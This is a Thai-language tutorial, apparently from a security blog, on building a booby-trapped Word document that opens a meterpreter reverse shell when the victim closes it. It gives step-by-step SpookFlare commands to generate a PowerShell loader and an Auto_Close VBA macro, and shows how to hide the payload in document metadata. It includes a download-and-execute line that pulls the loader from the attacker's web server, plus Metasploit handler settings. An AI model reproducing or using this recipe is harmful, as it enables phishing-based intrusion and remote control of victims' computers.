How to create the reverse shell for Microsoft word

บทนำ (Overview)

ขั้นตอนการสร้าง Reverse shell โดยใช้เอกสาร Microsoft word เป็นพาหะ ในการสร้าง connection ย้อนกลับเพื่อเชื่อมต่อไปยังเครื่องผู้โจมตี โดยภาพรวม จะเริ่มต้นจากผู้โจมตีสร้าง คำสั่งประสงค์ร้ายขึ้นมาแนบไปกับเอกสาร Word จากนั้นพยายามส่งไฟล์ดังกล่าวไปยังเป้าหมาย ภายหลังเหยื่อเปิดและปิดเอกสารเรียบร้อย มันจะส่งสัญญาณขอการเชื่อมต่อไปยัง เครื่องผู้โจมตี ซึ่งทำให้สามารถควบคุมเครื่องของเหยื่อได้นั้นเอง

บทความโดย
Mr.JohnNattakit
Cyber Security Researcher

ขั้นตอน (Steps)

Topology

IP Address

Attacker: 172.20.10.5

Victim: 172.20.10.3


เตรียมอุปกรณ์

  1. ดาวโหลดและติดตั้ง SpookFlare
    git clone https://github.com/hlldz/SpookFlare.git
    cd SpookFlare
    pip install -r requirements.txt
    
    
  2. เรียกใช้งาน SpookFalre ใช้คำสั่ง List แสดงรายขื่อ Payload
    #python spookflare.py
    list
    

  3. จากรายการแสดงข้างต้นให้เลือกใช้งาน meterpreter/powershell หมายเลย 2 จากนั้นสามารถแสดงรายละเอียดโดยใช้คำสั่ง Info
    use 2
    INFO 
    

  4. ตั้งค่าต่าง ๆ โดยใช้คำสั่งดังนี้
    set PROTO HTTP
    set LHOST 172.20.10.5 (IP เครื่อง Attacker)
    set LPORT 8080 (Set Listener port)
    set ARCH x64 (Set ARCH)
    set SSIZE    ( ให้เข้าไปตรวจสอบใน /usr/share/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader.rb ว่ามีการใช้งาน require ‘securerandom’ หรือเปล่า ถ้ามีใน code ใช้กี่ bytes ก็ตั้งให้ตรงกันกับค่านี้ เช่นถ้าเป็น random_bytes(61337) ก็ให้ใส่เป็น61337 แต่ถ้าไม่มีก็ไม่ต้องใส่ครับ)
    

  5. จากใช้คำสั่ง generate จะได้ powershell loader code ออกมาดังผลด้านล่างจะอยู่ใน folder /SpookFlare/output/output/SQHvkgJnVixS.ps1
  6. เข้าไปโฟลเดอร์ดังกล่าวเพื่อ copy ไฟล์ที่ถูกสร้างออกมา
    cd /SpookFlare/output/output/
    cp SQHvkgJnVixS.ps1 john.txt (ทำการ copy ไฟล์เป็นชื่ออะไรก็ได้ .txt)
    
  7. ทำการสร้าง fileserver เพื่อหลอกล่อให้ Victim มา Download
  8. กลับมาที่ Spookflare เตรียมทำการ generate VBA MACRO ที่จะเอาไปใส่ใน Word
    back
    use 4
    

  9. ก่อนที่จะทำการสร้าง Macro ให้เตรียม cmd.txt ก่อน เพื่อเป็นคำสั่งให้ไปโหลดไฟล์ reverseshell ของเราที่เราเปิดให้เหยื่อสามารถ download บน web server โดย สร้างไฟล์ดังนี้ cmd.txt มีเนื้อหาตามด้านล่าง
    powershell –w 1 –c “iwr(‘http://172.20.10.5/john.txt’)|iex”
    

  10. จากนั้นตั้งค่าที่จำเป็นต้องใช้
    info
    set CMD /root/cmd.txt (ตั้งค่าตาม path ของไฟล์ cmd.txt ที่เพิ่งสร้างเอง)
    set FTYPE word(เลือกชนิดของ office file)
    META Company (เลือก Metadata ที่จะใช้ยัด payload)
    

  11. ตั้งค่าเสร็จแล้วให้ generate
  12. ทำการ cat ไฟล์ที่ถูก generate ออกมาเพื่อจะนำ payload ไปใส่ใน Metadata และค่า Macro ไปใส่ ในword
    cat /root/tools/SpookFlare/output/vXTnzaDpHKzZ.vba
    


ขั้นตอนการเตรียมแนบ Payload และ Macro ลง Word

  1. สร้าง New Documentพร้อมทั้งใส่เนื้อหาลงไป
  2. มาที่ View / Macro
  3. เลือก Document1 (document)
  4. กรอก Macro name: Auto_Close จากนั้นกด Create 
  5. ทำการแก้ไข macro โดยการ copy macro script ใน .vba ที่ generate เข้ามา เขียนทับ 
  6. จากนั้นกด ctrl+s เพื่อ Save as เลือก type เป็น Word97-2003 Document (*.doc)
  7. จากนั้นกดปิด Macro และตามด้วยกดปิด Word
  8. เข้าไปแก้ไข Metadata ดังนี้ 
  9. เลือก Tab detail ทำการแก้ไข Metadata ให้ตรงกับที่เคยสร้าง .vba เช่นในที่นี้คือ Company
  10. ทำการแทนที่ Company ด้วยการนำ payload ที่เรา generate มาใส่แทน ไม่ต้องเอา single quote มาจากนั้นกด OK 

เตรียมรับ Connection

  1. เข้า msfconsole >ทำการใช้เรียกใช้ meterpreter เพื่อรอรับ connection
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_http
    set LHOST 172.20.10.5
    set LPORT 8080
    set ExitOnSession false
    exploit
    

  2. Attack!! เมื่อรัน Web file server, Meterpreter พร้อมแล้ว…
  3. ให้เหยื่อเปิดไฟล์
  4. จะยังไม่มีอะไรเกิดขึ้นจนกว่าจะปิด Doc  …
  5. หลังจากปิด Doc มีการ Download file ไปจาก Server 
  6. และบน Meterpreter ได้ connection แต่ไม่เห็น meterpreter ให้ ctrl+c และ sessions 1 ก็ได้จะ Shell

อ้างอิง

ใส่ความเห็น